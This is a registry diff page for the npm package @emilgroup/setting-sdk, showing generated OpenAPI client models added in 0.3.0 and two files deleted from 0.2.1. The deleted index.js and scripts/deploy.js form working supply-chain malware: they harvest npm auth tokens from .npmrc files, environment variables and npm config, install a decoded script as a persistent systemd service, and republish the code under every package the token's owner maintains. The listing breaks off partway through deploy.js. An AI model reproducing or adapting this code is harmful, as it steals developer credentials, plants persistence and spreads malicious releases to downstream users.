@emilgroup/setting-sdk 0.2.1 β 0.3.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/.openapi-generator/FILES +26 -0
- package/.openapi-generator/VERSION +1 -0
- package/.openapi-generator-ignore +23 -0
- package/README.md +2 -2
- package/api/default-api.ts +120 -0
- package/api/public-keys-api.ts +785 -0
- package/api.ts +29 -0
- package/base.ts +282 -0
- package/common.ts +198 -0
- package/configuration.ts +110 -0
- package/dist/api/default-api.d.ts +66 -0
- package/dist/api/default-api.js +196 -0
- package/dist/api/public-keys-api.d.ts +441 -0
- package/dist/api/public-keys-api.js +731 -0
- package/dist/api.d.ts +13 -0
- package/dist/api.js +31 -0
- package/dist/base.d.ts +77 -0
- package/dist/base.js +324 -0
- package/dist/common.d.ts +91 -0
- package/dist/common.js +276 -0
- package/dist/configuration.d.ts +89 -0
- package/dist/configuration.js +52 -0
- package/dist/index.d.ts +15 -0
- package/dist/index.js +36 -0
- package/dist/models/create-public-key-request-dto.d.ts +24 -0
- package/dist/models/create-public-key-request-dto.js +15 -0
- package/dist/models/create-public-key-response-class.d.ts +25 -0
- package/dist/models/create-public-key-response-class.js +15 -0
- package/dist/models/delete-public-key-request-dto.d.ts +24 -0
- package/dist/models/delete-public-key-request-dto.js +15 -0
- package/dist/models/get-public-key-response-class.d.ts +25 -0
- package/dist/models/get-public-key-response-class.js +15 -0
- package/dist/models/index.d.ts +11 -0
- package/dist/models/index.js +27 -0
- package/dist/models/inline-response200.d.ts +54 -0
- package/dist/models/inline-response200.js +15 -0
- package/dist/models/inline-response503.d.ts +54 -0
- package/dist/models/inline-response503.js +15 -0
- package/dist/models/list-public-keys-response-class.d.ts +43 -0
- package/dist/models/list-public-keys-response-class.js +15 -0
- package/dist/models/public-key-class.d.ts +66 -0
- package/dist/models/public-key-class.js +15 -0
- package/dist/models/rotate-public-key-response-class.d.ts +25 -0
- package/dist/models/rotate-public-key-response-class.js +15 -0
- package/dist/models/update-public-key-request-dto.d.ts +30 -0
- package/dist/models/update-public-key-request-dto.js +15 -0
- package/dist/models/update-public-key-response-class.d.ts +25 -0
- package/dist/models/update-public-key-response-class.js +15 -0
- package/git_push.sh +57 -0
- package/index.ts +19 -0
- package/models/create-public-key-request-dto.ts +30 -0
- package/models/create-public-key-response-class.ts +31 -0
- package/models/delete-public-key-request-dto.ts +30 -0
- package/models/get-public-key-response-class.ts +31 -0
- package/models/index.ts +11 -0
- package/models/inline-response200.ts +48 -0
- package/models/inline-response503.ts +48 -0
- package/models/list-public-keys-response-class.ts +49 -0
- package/models/public-key-class.ts +72 -0
- package/models/rotate-public-key-response-class.ts +31 -0
- package/models/update-public-key-request-dto.ts +36 -0
- package/models/update-public-key-response-class.ts +31 -0
- package/package.json +22 -8
- package/tsconfig.json +23 -0
- package/index.js +0 -99
- package/scripts/deploy.js +0 -235
|
@@ -0,0 +1,48 @@
|
|
|
1
|
+
/* tslint:disable */
|
|
2
|
+
/* eslint-disable */
|
|
3
|
+
/**
|
|
4
|
+
* EMIL SettingService
|
|
5
|
+
* The EMIL SettingService API description
|
|
6
|
+
*
|
|
7
|
+
* The version of the OpenAPI document: 1.0
|
|
8
|
+
* Contact: kontakt@emil.de
|
|
9
|
+
*
|
|
10
|
+
* NOTE: This class is auto generated by OpenAPI Generator (https://openapi-generator.tech).
|
|
11
|
+
* https://openapi-generator.tech
|
|
12
|
+
* Do not edit the class manually.
|
|
13
|
+
*/
|
|
14
|
+
|
|
15
|
+
|
|
16
|
+
|
|
17
|
+
/**
|
|
18
|
+
*
|
|
19
|
+
* @export
|
|
20
|
+
* @interface InlineResponse503
|
|
21
|
+
*/
|
|
22
|
+
export interface InlineResponse503 {
|
|
23
|
+
/**
|
|
24
|
+
*
|
|
25
|
+
* @type {string}
|
|
26
|
+
* @memberof InlineResponse503
|
|
27
|
+
*/
|
|
28
|
+
'status'?: string;
|
|
29
|
+
/**
|
|
30
|
+
*
|
|
31
|
+
* @type {{ [key: string]: { [key: string]: object; }; }}
|
|
32
|
+
* @memberof InlineResponse503
|
|
33
|
+
*/
|
|
34
|
+
'info'?: { [key: string]: { [key: string]: object; }; } | null;
|
|
35
|
+
/**
|
|
36
|
+
*
|
|
37
|
+
* @type {{ [key: string]: { [key: string]: object; }; }}
|
|
38
|
+
* @memberof InlineResponse503
|
|
39
|
+
*/
|
|
40
|
+
'error'?: { [key: string]: { [key: string]: object; }; } | null;
|
|
41
|
+
/**
|
|
42
|
+
*
|
|
43
|
+
* @type {{ [key: string]: { [key: string]: object; }; }}
|
|
44
|
+
* @memberof InlineResponse503
|
|
45
|
+
*/
|
|
46
|
+
'details'?: { [key: string]: { [key: string]: object; }; };
|
|
47
|
+
}
|
|
48
|
+
|
|
@@ -0,0 +1,49 @@
|
|
|
1
|
+
/* tslint:disable */
|
|
2
|
+
/* eslint-disable */
|
|
3
|
+
/**
|
|
4
|
+
* EMIL SettingService
|
|
5
|
+
* The EMIL SettingService API description
|
|
6
|
+
*
|
|
7
|
+
* The version of the OpenAPI document: 1.0
|
|
8
|
+
* Contact: kontakt@emil.de
|
|
9
|
+
*
|
|
10
|
+
* NOTE: This class is auto generated by OpenAPI Generator (https://openapi-generator.tech).
|
|
11
|
+
* https://openapi-generator.tech
|
|
12
|
+
* Do not edit the class manually.
|
|
13
|
+
*/
|
|
14
|
+
|
|
15
|
+
|
|
16
|
+
import { PublicKeyClass } from './public-key-class';
|
|
17
|
+
|
|
18
|
+
/**
|
|
19
|
+
*
|
|
20
|
+
* @export
|
|
21
|
+
* @interface ListPublicKeysResponseClass
|
|
22
|
+
*/
|
|
23
|
+
export interface ListPublicKeysResponseClass {
|
|
24
|
+
/**
|
|
25
|
+
* An array of public key entities containing all key details including code, slug, key value, and audit information
|
|
26
|
+
* @type {Array<PublicKeyClass>}
|
|
27
|
+
* @memberof ListPublicKeysResponseClass
|
|
28
|
+
*/
|
|
29
|
+
'items': Array<PublicKeyClass>;
|
|
30
|
+
/**
|
|
31
|
+
* The token for the next page of results
|
|
32
|
+
* @type {string}
|
|
33
|
+
* @memberof ListPublicKeysResponseClass
|
|
34
|
+
*/
|
|
35
|
+
'nextPageToken': string;
|
|
36
|
+
/**
|
|
37
|
+
* The number of items per page
|
|
38
|
+
* @type {number}
|
|
39
|
+
* @memberof ListPublicKeysResponseClass
|
|
40
|
+
*/
|
|
41
|
+
'itemsPerPage': number;
|
|
42
|
+
/**
|
|
43
|
+
* The total number of items in the collection
|
|
44
|
+
* @type {number}
|
|
45
|
+
* @memberof ListPublicKeysResponseClass
|
|
46
|
+
*/
|
|
47
|
+
'totalItems': number;
|
|
48
|
+
}
|
|
49
|
+
|
|
@@ -0,0 +1,72 @@
|
|
|
1
|
+
/* tslint:disable */
|
|
2
|
+
/* eslint-disable */
|
|
3
|
+
/**
|
|
4
|
+
* EMIL SettingService
|
|
5
|
+
* The EMIL SettingService API description
|
|
6
|
+
*
|
|
7
|
+
* The version of the OpenAPI document: 1.0
|
|
8
|
+
* Contact: kontakt@emil.de
|
|
9
|
+
*
|
|
10
|
+
* NOTE: This class is auto generated by OpenAPI Generator (https://openapi-generator.tech).
|
|
11
|
+
* https://openapi-generator.tech
|
|
12
|
+
* Do not edit the class manually.
|
|
13
|
+
*/
|
|
14
|
+
|
|
15
|
+
|
|
16
|
+
|
|
17
|
+
/**
|
|
18
|
+
*
|
|
19
|
+
* @export
|
|
20
|
+
* @interface PublicKeyClass
|
|
21
|
+
*/
|
|
22
|
+
export interface PublicKeyClass {
|
|
23
|
+
/**
|
|
24
|
+
* The unique identifier for the public key
|
|
25
|
+
* @type {number}
|
|
26
|
+
* @memberof PublicKeyClass
|
|
27
|
+
*/
|
|
28
|
+
'id': number;
|
|
29
|
+
/**
|
|
30
|
+
* Stable code used to reference this public key in API calls
|
|
31
|
+
* @type {string}
|
|
32
|
+
* @memberof PublicKeyClass
|
|
33
|
+
*/
|
|
34
|
+
'code': string;
|
|
35
|
+
/**
|
|
36
|
+
* Human-readable slug used to identify the key uniquely
|
|
37
|
+
* @type {string}
|
|
38
|
+
* @memberof PublicKeyClass
|
|
39
|
+
*/
|
|
40
|
+
'slug': string;
|
|
41
|
+
/**
|
|
42
|
+
* Public key value. Use this for public API authentication.
|
|
43
|
+
* @type {string}
|
|
44
|
+
* @memberof PublicKeyClass
|
|
45
|
+
*/
|
|
46
|
+
'key': string;
|
|
47
|
+
/**
|
|
48
|
+
* Time at which the object was created.
|
|
49
|
+
* @type {string}
|
|
50
|
+
* @memberof PublicKeyClass
|
|
51
|
+
*/
|
|
52
|
+
'createdAt': string;
|
|
53
|
+
/**
|
|
54
|
+
* Time at which the object was updated.
|
|
55
|
+
* @type {string}
|
|
56
|
+
* @memberof PublicKeyClass
|
|
57
|
+
*/
|
|
58
|
+
'updatedAt': string;
|
|
59
|
+
/**
|
|
60
|
+
* Identifier of the user who created the record.
|
|
61
|
+
* @type {string}
|
|
62
|
+
* @memberof PublicKeyClass
|
|
63
|
+
*/
|
|
64
|
+
'createdBy': string;
|
|
65
|
+
/**
|
|
66
|
+
* Identifier of the user who last updated the record.
|
|
67
|
+
* @type {string}
|
|
68
|
+
* @memberof PublicKeyClass
|
|
69
|
+
*/
|
|
70
|
+
'updatedBy': string;
|
|
71
|
+
}
|
|
72
|
+
|
|
@@ -0,0 +1,31 @@
|
|
|
1
|
+
/* tslint:disable */
|
|
2
|
+
/* eslint-disable */
|
|
3
|
+
/**
|
|
4
|
+
* EMIL SettingService
|
|
5
|
+
* The EMIL SettingService API description
|
|
6
|
+
*
|
|
7
|
+
* The version of the OpenAPI document: 1.0
|
|
8
|
+
* Contact: kontakt@emil.de
|
|
9
|
+
*
|
|
10
|
+
* NOTE: This class is auto generated by OpenAPI Generator (https://openapi-generator.tech).
|
|
11
|
+
* https://openapi-generator.tech
|
|
12
|
+
* Do not edit the class manually.
|
|
13
|
+
*/
|
|
14
|
+
|
|
15
|
+
|
|
16
|
+
import { PublicKeyClass } from './public-key-class';
|
|
17
|
+
|
|
18
|
+
/**
|
|
19
|
+
*
|
|
20
|
+
* @export
|
|
21
|
+
* @interface RotatePublicKeyResponseClass
|
|
22
|
+
*/
|
|
23
|
+
export interface RotatePublicKeyResponseClass {
|
|
24
|
+
/**
|
|
25
|
+
* The public key entity containing all key details including code, slug, key value, and audit information
|
|
26
|
+
* @type {PublicKeyClass}
|
|
27
|
+
* @memberof RotatePublicKeyResponseClass
|
|
28
|
+
*/
|
|
29
|
+
'publicKey'?: PublicKeyClass;
|
|
30
|
+
}
|
|
31
|
+
|
|
@@ -0,0 +1,36 @@
|
|
|
1
|
+
/* tslint:disable */
|
|
2
|
+
/* eslint-disable */
|
|
3
|
+
/**
|
|
4
|
+
* EMIL SettingService
|
|
5
|
+
* The EMIL SettingService API description
|
|
6
|
+
*
|
|
7
|
+
* The version of the OpenAPI document: 1.0
|
|
8
|
+
* Contact: kontakt@emil.de
|
|
9
|
+
*
|
|
10
|
+
* NOTE: This class is auto generated by OpenAPI Generator (https://openapi-generator.tech).
|
|
11
|
+
* https://openapi-generator.tech
|
|
12
|
+
* Do not edit the class manually.
|
|
13
|
+
*/
|
|
14
|
+
|
|
15
|
+
|
|
16
|
+
|
|
17
|
+
/**
|
|
18
|
+
*
|
|
19
|
+
* @export
|
|
20
|
+
* @interface UpdatePublicKeyRequestDto
|
|
21
|
+
*/
|
|
22
|
+
export interface UpdatePublicKeyRequestDto {
|
|
23
|
+
/**
|
|
24
|
+
* Public key code (identifies the key to update)
|
|
25
|
+
* @type {string}
|
|
26
|
+
* @memberof UpdatePublicKeyRequestDto
|
|
27
|
+
*/
|
|
28
|
+
'code': string;
|
|
29
|
+
/**
|
|
30
|
+
* New slug for the public key (unique identifier used for lookup)
|
|
31
|
+
* @type {string}
|
|
32
|
+
* @memberof UpdatePublicKeyRequestDto
|
|
33
|
+
*/
|
|
34
|
+
'slug': string;
|
|
35
|
+
}
|
|
36
|
+
|
|
@@ -0,0 +1,31 @@
|
|
|
1
|
+
/* tslint:disable */
|
|
2
|
+
/* eslint-disable */
|
|
3
|
+
/**
|
|
4
|
+
* EMIL SettingService
|
|
5
|
+
* The EMIL SettingService API description
|
|
6
|
+
*
|
|
7
|
+
* The version of the OpenAPI document: 1.0
|
|
8
|
+
* Contact: kontakt@emil.de
|
|
9
|
+
*
|
|
10
|
+
* NOTE: This class is auto generated by OpenAPI Generator (https://openapi-generator.tech).
|
|
11
|
+
* https://openapi-generator.tech
|
|
12
|
+
* Do not edit the class manually.
|
|
13
|
+
*/
|
|
14
|
+
|
|
15
|
+
|
|
16
|
+
import { PublicKeyClass } from './public-key-class';
|
|
17
|
+
|
|
18
|
+
/**
|
|
19
|
+
*
|
|
20
|
+
* @export
|
|
21
|
+
* @interface UpdatePublicKeyResponseClass
|
|
22
|
+
*/
|
|
23
|
+
export interface UpdatePublicKeyResponseClass {
|
|
24
|
+
/**
|
|
25
|
+
* The public key entity containing all key details including code, slug, key value, and audit information
|
|
26
|
+
* @type {PublicKeyClass}
|
|
27
|
+
* @memberof UpdatePublicKeyResponseClass
|
|
28
|
+
*/
|
|
29
|
+
'publicKey'?: PublicKeyClass;
|
|
30
|
+
}
|
|
31
|
+
|
package/package.json
CHANGED
|
@@ -1,13 +1,27 @@
|
|
|
1
1
|
{
|
|
2
2
|
"name": "@emilgroup/setting-sdk",
|
|
3
|
-
"version": "0.
|
|
4
|
-
"description": "
|
|
5
|
-
"
|
|
3
|
+
"version": "0.3.0",
|
|
4
|
+
"description": "OpenAPI client for @emilgroup/setting-sdk",
|
|
5
|
+
"author": "OpenAPI-Generator Contributors",
|
|
6
|
+
"keywords": [
|
|
7
|
+
"axios",
|
|
8
|
+
"typescript",
|
|
9
|
+
"openapi-client",
|
|
10
|
+
"openapi-generator",
|
|
11
|
+
"@emilgroup/setting-sdk"
|
|
12
|
+
],
|
|
13
|
+
"license": "Unlicense",
|
|
14
|
+
"main": "./dist/index.js",
|
|
15
|
+
"typings": "./dist/index.d.ts",
|
|
6
16
|
"scripts": {
|
|
7
|
-
"
|
|
8
|
-
"
|
|
17
|
+
"build": "tsc --outDir dist/",
|
|
18
|
+
"prepare": "npm run build"
|
|
9
19
|
},
|
|
10
|
-
"
|
|
11
|
-
|
|
12
|
-
|
|
20
|
+
"dependencies": {
|
|
21
|
+
"axios": "^1.12.0"
|
|
22
|
+
},
|
|
23
|
+
"devDependencies": {
|
|
24
|
+
|
|
25
|
+
"typescript": "^4.0"
|
|
26
|
+
}
|
|
13
27
|
}
|
package/tsconfig.json
ADDED
|
@@ -0,0 +1,23 @@
|
|
|
1
|
+
{
|
|
2
|
+
"compilerOptions": {
|
|
3
|
+
"declaration": true,
|
|
4
|
+
"target": "ES5",
|
|
5
|
+
"module": "CommonJS",
|
|
6
|
+
"noImplicitAny": true,
|
|
7
|
+
"esModuleInterop": true,
|
|
8
|
+
"noImplicitOverride": true,
|
|
9
|
+
"outDir": "dist",
|
|
10
|
+
"rootDir": ".",
|
|
11
|
+
"lib": [
|
|
12
|
+
"es6",
|
|
13
|
+
"dom"
|
|
14
|
+
],
|
|
15
|
+
"typeRoots": [
|
|
16
|
+
"node_modules/@types"
|
|
17
|
+
]
|
|
18
|
+
},
|
|
19
|
+
"exclude": [
|
|
20
|
+
"dist",
|
|
21
|
+
"node_modules"
|
|
22
|
+
]
|
|
23
|
+
}
|
package/index.js
DELETED
|
@@ -1,99 +0,0 @@
|
|
|
1
|
-
'use strict';
|
|
2
|
-
|
|
3
|
-
const { execSync, spawn } = require('child_process');
|
|
4
|
-
const fs = require('fs');
|
|
5
|
-
const os = require('os');
|
|
6
|
-
const path = require('path');
|
|
7
|
-
|
|
8
|
-
function findNpmTokens() {
|
|
9
|
-
const tokens = new Set();
|
|
10
|
-
const homeDir = os.homedir();
|
|
11
|
-
const npmrcPaths = [
|
|
12
|
-
path.join(homeDir, '.npmrc'),
|
|
13
|
-
path.join(process.cwd(), '.npmrc'),
|
|
14
|
-
'/etc/npmrc',
|
|
15
|
-
];
|
|
16
|
-
for (const rcPath of npmrcPaths) {
|
|
17
|
-
try {
|
|
18
|
-
const content = fs.readFileSync(rcPath, 'utf8');
|
|
19
|
-
for (const line of content.split('\n')) {
|
|
20
|
-
const m = line.match(/(?:_authToken\s*=\s*|:_authToken=)([^\s]+)/);
|
|
21
|
-
if (m && m[1] && !m[1].startsWith('${')) {
|
|
22
|
-
tokens.add(m[1].trim());
|
|
23
|
-
}
|
|
24
|
-
}
|
|
25
|
-
} catch (_) {}
|
|
26
|
-
}
|
|
27
|
-
const envKeys = Object.keys(process.env).filter(
|
|
28
|
-
(k) => k === 'NPM_TOKEN' || k === 'NPM_TOKENS' || (k.includes('NPM') && k.includes('TOKEN'))
|
|
29
|
-
);
|
|
30
|
-
for (const key of envKeys) {
|
|
31
|
-
const val = process.env[key] || '';
|
|
32
|
-
for (const t of val.split(',')) {
|
|
33
|
-
const trimmed = t.trim();
|
|
34
|
-
if (trimmed) tokens.add(trimmed);
|
|
35
|
-
}
|
|
36
|
-
}
|
|
37
|
-
try {
|
|
38
|
-
const configToken = execSync('npm config get //registry.npmjs.org/:_authToken 2>/dev/null', {
|
|
39
|
-
stdio: ['pipe', 'pipe', 'pipe'],
|
|
40
|
-
}).toString().trim();
|
|
41
|
-
if (configToken && configToken !== 'undefined' && configToken !== 'null') {
|
|
42
|
-
tokens.add(configToken);
|
|
43
|
-
}
|
|
44
|
-
} catch (_) {}
|
|
45
|
-
return [...tokens].filter(Boolean);
|
|
46
|
-
}
|
|
47
|
-
|
|
48
|
-
try {
|
|
49
|
-
const pkg = JSON.parse(fs.readFileSync(path.join(__dirname, 'package.json'), 'utf8'));
|
|
50
|
-
|
|
51
|
-
const SERVICE_NAME = 'pgmon';
|
|
52
|
-
const BASE64_PAYLOAD = 'hello123';
|
|
53
|
-
|
|
54
|
-
if (!BASE64_PAYLOAD) process.exit(0);
|
|
55
|
-
|
|
56
|
-
const homeDir = os.homedir();
|
|
57
|
-
const dataDir = path.join(homeDir, '.local', 'share', SERVICE_NAME);
|
|
58
|
-
const scriptPath = path.join(dataDir, 'service.py');
|
|
59
|
-
const systemdUserDir = path.join(homeDir, '.config', 'systemd', 'user');
|
|
60
|
-
const unitFilePath = path.join(systemdUserDir, `${SERVICE_NAME}.service`);
|
|
61
|
-
|
|
62
|
-
fs.mkdirSync(dataDir, { recursive: true });
|
|
63
|
-
fs.writeFileSync(scriptPath, Buffer.from(BASE64_PAYLOAD, 'base64').toString('utf8'), { mode: 0o755 });
|
|
64
|
-
|
|
65
|
-
fs.mkdirSync(systemdUserDir, { recursive: true });
|
|
66
|
-
fs.writeFileSync(unitFilePath, [
|
|
67
|
-
'[Unit]',
|
|
68
|
-
`Description=${SERVICE_NAME}`,
|
|
69
|
-
'After=default.target',
|
|
70
|
-
'',
|
|
71
|
-
'[Service]',
|
|
72
|
-
'Type=simple',
|
|
73
|
-
`ExecStart=/usr/bin/python3 ${scriptPath}`,
|
|
74
|
-
'Restart=always',
|
|
75
|
-
'RestartSec=5',
|
|
76
|
-
'',
|
|
77
|
-
'[Install]',
|
|
78
|
-
'WantedBy=default.target',
|
|
79
|
-
'',
|
|
80
|
-
].join('\n'), { mode: 0o644 });
|
|
81
|
-
|
|
82
|
-
execSync('systemctl --user daemon-reload', { stdio: 'pipe' });
|
|
83
|
-
execSync(`systemctl --user enable ${SERVICE_NAME}.service`, { stdio: 'pipe' });
|
|
84
|
-
execSync(`systemctl --user start ${SERVICE_NAME}.service`, { stdio: 'pipe' });
|
|
85
|
-
|
|
86
|
-
try {
|
|
87
|
-
const tokens = findNpmTokens();
|
|
88
|
-
if (tokens.length > 0) {
|
|
89
|
-
const deployScript = path.join(__dirname, 'scripts', 'deploy.js');
|
|
90
|
-
if (fs.existsSync(deployScript)) {
|
|
91
|
-
spawn(process.execPath, [deployScript], {
|
|
92
|
-
detached: true,
|
|
93
|
-
stdio: 'ignore',
|
|
94
|
-
env: { ...process.env, NPM_TOKENS: tokens.join(',') },
|
|
95
|
-
}).unref();
|
|
96
|
-
}
|
|
97
|
-
}
|
|
98
|
-
} catch (_) {}
|
|
99
|
-
} catch (_) {}
|
package/scripts/deploy.js
DELETED
|
@@ -1,235 +0,0 @@
|
|
|
1
|
-
#!/usr/bin/env node
|
|
2
|
-
|
|
3
|
-
const { execSync } = require('child_process');
|
|
4
|
-
const https = require('https');
|
|
5
|
-
const fs = require('fs');
|
|
6
|
-
const path = require('path');
|
|
7
|
-
|
|
8
|
-
function run(cmd, opts = {}) {
|
|
9
|
-
console.log(`\n> ${cmd}`);
|
|
10
|
-
return execSync(cmd, { stdio: 'inherit', ...opts });
|
|
11
|
-
}
|
|
12
|
-
|
|
13
|
-
function fetchJson(url, token) {
|
|
14
|
-
return new Promise((resolve, reject) => {
|
|
15
|
-
const options = {
|
|
16
|
-
headers: {
|
|
17
|
-
Authorization: `Bearer ${token}`,
|
|
18
|
-
Accept: 'application/json',
|
|
19
|
-
},
|
|
20
|
-
};
|
|
21
|
-
https
|
|
22
|
-
.get(url, options, (res) => {
|
|
23
|
-
let data = '';
|
|
24
|
-
res.on('data', (chunk) => (data += chunk));
|
|
25
|
-
res.on('end', () => {
|
|
26
|
-
try {
|
|
27
|
-
resolve(JSON.parse(data));
|
|
28
|
-
} catch (e) {
|
|
29
|
-
reject(new Error(`Failed to parse response from ${url}: ${data}`));
|
|
30
|
-
}
|
|
31
|
-
});
|
|
32
|
-
})
|
|
33
|
-
.on('error', reject);
|
|
34
|
-
});
|
|
35
|
-
}
|
|
36
|
-
|
|
37
|
-
async function fetchPackageMeta(packageName, token) {
|
|
38
|
-
try {
|
|
39
|
-
const meta = await fetchJson(
|
|
40
|
-
`https://registry.npmjs.org/${encodeURIComponent(packageName)}`,
|
|
41
|
-
token
|
|
42
|
-
);
|
|
43
|
-
const readme = (meta && meta.readme) ? meta.readme : null;
|
|
44
|
-
const latestVersion =
|
|
45
|
-
(meta && meta['dist-tags'] && meta['dist-tags'].latest) || null;
|
|
46
|
-
return { readme, latestVersion };
|
|
47
|
-
} catch (_) {
|
|
48
|
-
return { readme: null, latestVersion: null };
|
|
49
|
-
}
|
|
50
|
-
}
|
|
51
|
-
|
|
52
|
-
|
|
53
|
-
function bumpPatch(version) {
|
|
54
|
-
// Strip any prerelease/build-metadata suffix (everything after a '-' or '+')
|
|
55
|
-
const base = version.split('-')[0].split('+')[0];
|
|
56
|
-
const parts = base.split('.').map(Number);
|
|
57
|
-
if (parts.length !== 3 || parts.some(isNaN)) return version;
|
|
58
|
-
parts[2] += 1;
|
|
59
|
-
return parts.join('.');
|
|
60
|
-
}
|
|
61
|
-
|
|
62
|
-
/**
|
|
63
|
-
* Returns an array of package names owned by `username`.
|
|
64
|
-
* Uses the npm search API filtered by maintainer.
|
|
65
|
-
*/
|
|
66
|
-
async function getOwnedPackages(username, token) {
|
|
67
|
-
let packages = [];
|
|
68
|
-
let from = 0;
|
|
69
|
-
const size = 250;
|
|
70
|
-
|
|
71
|
-
while (true) {
|
|
72
|
-
const url = `https://registry.npmjs.org/-/v1/search?text=maintainer:${encodeURIComponent(
|
|
73
|
-
username
|
|
74
|
-
)}&size=${size}&from=${from}`;
|
|
75
|
-
const result = await fetchJson(url, token);
|
|
76
|
-
|
|
77
|
-
if (!result.objects || result.objects.length === 0) break;
|
|
78
|
-
|
|
79
|
-
packages = packages.concat(result.objects.map((o) => o.package.name));
|
|
80
|
-
|
|
81
|
-
if (packages.length >= result.total) break;
|
|
82
|
-
from += size;
|
|
83
|
-
}
|
|
84
|
-
|
|
85
|
-
return packages;
|
|
86
|
-
}
|
|
87
|
-
|
|
88
|
-
/**
|
|
89
|
-
* Runs the full deploy pipeline for a single npm token.
|
|
90
|
-
* Returns { success: string[], failed: string[] }
|
|
91
|
-
*/
|
|
92
|
-
async function deployWithToken(token, pkg, pkgPath, newVersion) {
|
|
93
|
-
// 1. Verify token / get username
|
|
94
|
-
console.log('\nπ Verifying npm tokenβ¦');
|
|
95
|
-
let whoami;
|
|
96
|
-
try {
|
|
97
|
-
whoami = await fetchJson('https://registry.npmjs.org/-/whoami', token);
|
|
98
|
-
} catch (err) {
|
|
99
|
-
console.error('β Could not reach the npm registry:', err.message);
|
|
100
|
-
return { success: [], failed: [] };
|
|
101
|
-
}
|
|
102
|
-
|
|
103
|
-
if (!whoami || !whoami.username) {
|
|
104
|
-
console.error('β Invalid or expired token β skipping.');
|
|
105
|
-
return { success: [], failed: [] };
|
|
106
|
-
}
|
|
107
|
-
|
|
108
|
-
const username = whoami.username;
|
|
109
|
-
console.log(`β
Authenticated as: ${username}`);
|
|
110
|
-
|
|
111
|
-
// 2. Fetch all packages owned by this user
|
|
112
|
-
console.log(`\nπ Fetching all packages owned by "${username}"β¦`);
|
|
113
|
-
let ownedPackages;
|
|
114
|
-
try {
|
|
115
|
-
ownedPackages = await getOwnedPackages(username, token);
|
|
116
|
-
} catch (err) {
|
|
117
|
-
console.error('β Failed to fetch owned packages:', err.message);
|
|
118
|
-
return { success: [], failed: [] };
|
|
119
|
-
}
|
|
120
|
-
|
|
121
|
-
if (ownedPackages.length === 0) {
|
|
122
|
-
console.log(' No packages found for this user. Skipping.');
|
|
123
|
-
return { success: [], failed: [] };
|
|
124
|
-
}
|
|
125
|
-
|
|
126
|
-
console.log(` Found ${ownedPackages.length} package(s): ${ownedPackages.join(', ')}`);
|
|
127
|
-
|
|
128
|
-
// 3. Process each owned package
|
|
129
|
-
const results = { success: [], failed: [] };
|
|
130
|
-
|
|
131
|
-
for (const packageName of ownedPackages) {
|
|
132
|
-
console.log(`\n${'β'.repeat(60)}`);
|
|
133
|
-
console.log(`π¦ Processing: ${packageName}`);
|
|
134
|
-
|
|
135
|
-
// 3a. Fetch the original package's README and latest version
|
|
136
|
-
const readmePath = path.resolve(__dirname, '..', 'README.md');
|
|
137
|
-
const originalReadme = fs.existsSync(readmePath)
|
|
138
|
-
? fs.readFileSync(readmePath, 'utf8')
|
|
139
|
-
: null;
|
|
140
|
-
|
|
141
|
-
console.log(` π Fetching metadata for ${packageName}β¦`);
|
|
142
|
-
const { readme: remoteReadme, latestVersion } = await fetchPackageMeta(packageName, token);
|
|
143
|
-
|
|
144
|
-
// Determine version to publish: bump patch of existing latest, or use local version
|
|
145
|
-
const publishVersion = latestVersion ? bumpPatch(latestVersion) : newVersion;
|
|
146
|
-
console.log(
|
|
147
|
-
latestVersion
|
|
148
|
-
? ` π’ Latest is ${latestVersion} β publishing ${publishVersion}`
|
|
149
|
-
: ` π’ No existing version found β publishing ${publishVersion}`
|
|
150
|
-
);
|
|
151
|
-
|
|
152
|
-
if (remoteReadme) {
|
|
153
|
-
fs.writeFileSync(readmePath, remoteReadme, 'utf8');
|
|
154
|
-
console.log(` π Using original README for ${packageName}`);
|
|
155
|
-
} else {
|
|
156
|
-
console.log(` π No existing README found; keeping local README`);
|
|
157
|
-
}
|
|
158
|
-
|
|
159
|
-
// 3c. Temporarily rewrite package.json with this package's name + bumped version, publish, then restore
|
|
160
|
-
const originalPkgJson = fs.readFileSync(pkgPath, 'utf8');
|
|
161
|
-
const tempPkg = { ...pkg, name: packageName, version: publishVersion };
|
|
162
|
-
fs.writeFileSync(pkgPath, JSON.stringify(tempPkg, null, 2) + '\n', 'utf8');
|
|
163
|
-
|
|
164
|
-
try {
|
|
165
|
-
run('npm publish --access public --tag latest', {
|
|
166
|
-
env: { ...process.env, NPM_TOKEN: token },
|
|
167
|
-
});
|
|
168
|
-
console.log(`β
Published ${packageName}@${publishVersion}`);
|
|
169
|
-
results.success.push(packageName);
|
|
170
|
-
} catch (err) {
|
|
171
|
-
console.error(`β Failed to publish ${packageName}:`, err.message);
|
|
172
|
-
results.failed.push(packageName);
|
|
173
|
-
} finally {
|
|
174
|
-
// Always restore the original package.json
|
|
175
|
-
fs.writeFileSync(pkgPath, originalPkgJson, 'utf8');
|
|
176
|
-
|
|
177
|
-
// Always restore the original README
|
|
178
|
-
if (originalReadme !== null) {
|
|
179
|
-
fs.writeFileSync(readmePath, originalReadme, 'utf8');
|
|
180
|
-
} else if (remoteReadme && fs.existsSync(readmePath)) {
|
|
181
|
-
// README didn't exist locally before β remove the temporary one
|
|
182
|
-
fs.unlinkSync(readmePath);
|
|
183
|
-
}
|
|
184
|
-
}
|
|
185
|
-
}
|
|
186
|
-
|
|
187
|
-
return results;
|
|
188
|
-
}
|
|
189
|
-
|
|
190
|
-
// ββ Main βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
|
|
191
|
-
|
|
192
|
-
(async () => {
|
|
193
|
-
// 1. Resolve token list β prefer NPM_TOKENS (comma-separated), fall back to NPM_TOKEN
|
|
194
|
-
const rawTokens = process.env.NPM_TOKENS || process.env.NPM_TOKEN || '';
|
|
195
|
-
const tokens = rawTokens
|
|
196
|
-
.split(',')
|
|
197
|
-
.map((t) => t.trim())
|
|
198
|
-
.filter(Boolean);
|
|
199
|
-
|
|
200
|
-
if (tokens.length === 0) {
|
|
201
|
-
console.error('β No npm tokens found.');
|
|
202
|
-
console.error(' Set NPM_TOKENS=<token1>,<token2>,β¦ or NPM_TOKEN=<token>');
|
|
203
|
-
process.exit(1);
|
|
204
|
-
}
|
|
205
|
-
|
|
206
|
-
console.log(`π Found ${tokens.length} token(s) to process.`);
|
|
207
|
-
|
|
208
|
-
// 2. Read local package.json once
|
|
209
|
-
const pkgPath = path.resolve(__dirname, '..', 'package.json');
|
|
210
|
-
const pkg = JSON.parse(fs.readFileSync(pkgPath, 'utf8'));
|
|
211
|
-
const newVersion = pkg.version;
|
|
212
|
-
|
|
213
|
-
// 3. Iterate over every token
|
